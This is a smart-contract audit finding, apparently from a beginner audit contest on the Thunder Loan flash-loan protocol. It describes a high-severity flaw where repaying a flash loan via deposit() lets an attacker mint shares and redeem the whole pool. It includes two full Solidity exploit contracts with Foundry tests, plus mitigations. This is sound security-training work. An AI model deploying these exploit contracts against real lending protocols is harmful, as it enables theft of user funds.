Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

[H-03] Using `deposit()` instead of `repay()` allows flash loan borrowers to satisfy balance checks while stealing all borrowed funds via pool shares

Using deposit() instead of repay() allows flash loan borrowers to satisfy balance checks while stealing all borrowed funds via pool shares

Summary

The ThunderLoan::flashloan function verifies repayment by simply checking whether the contract's token balance increased by at least the expected fee. A borrower can satisfy this check by calling ThunderLoan::deposit() instead of returning the funds as uncollateralized repayments. This mints AssetToken shares to the borrower, allowing them to withdraw the borrowed principal plus fees immediately after the flash loan finishes, resulting in a total loss of protocol funds.

Vulnerability Detail

In ThunderLoan::flashloan, the check after the receiver's execution relies solely on the raw balance of the underlying token:

Solidity

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

Because deposit() sends tokens directly to address(assetToken) while simultaneously minting AssetToken shares to msg.sender, an attacker inside executeOperation can call:

Solidity

thunderLoan.deposit(token, amount + fee);
  1. The underlying tokens are transferred to assetToken, increasing endingBalance and passing the endingBalance >= startingBalance + fee check.

  2. The attacker receives new AssetToken shares representing that deposit.

  3. Outside the flash loan execution, the attacker calls thunderLoan.redeem(), burning the shares to retrieve the borrowed funds plus the fee.

Impact

High. An attacker can drain the entire liquidity pool of any allowed token without providing any upfront capital.

Proof of Concept

Add the following test and helper contract to test/unit/ThunderLoanTest.t.sol:

Solidity

function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
vm.startPrank(user);
uint256 amountToBorrow = 50e18;
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
tokenA.mint(address(dor), fee);
thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
dor.redeemFunds();
vm.stopPrank();
// Attacker holds the borrowed 50e18 + initial fee
assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
}
contract DepositOverRepay is IFlashLoanReceiver {
ThunderLoan thunderLoan;
AssetToken assetToken;
IERC20 s_token;
constructor(address _thunderLoan) {
thunderLoan = ThunderLoan(_thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
s_token = IERC20(token);
assetToken = thunderLoan.getAssetFromToken(IERC20(token));
// Deposit the borrowed amount + fee to mint shares instead of paying back
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee);
return true;
}
function redeemFunds() public {
uint256 amount = assetToken.balanceOf(address(this));
thunderLoan.redeem(s_token, amount);
}
}

Recommended Mitigation

Disallow calling deposit() during an active flash loan, or enforce that repayments are made explicitly through a dedicated repay() function without minting shares.

A clean mitigation is to use a reentrancy guard or a boolean state check s_currentlyFlashLoaning[token] inside deposit():

Diff

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!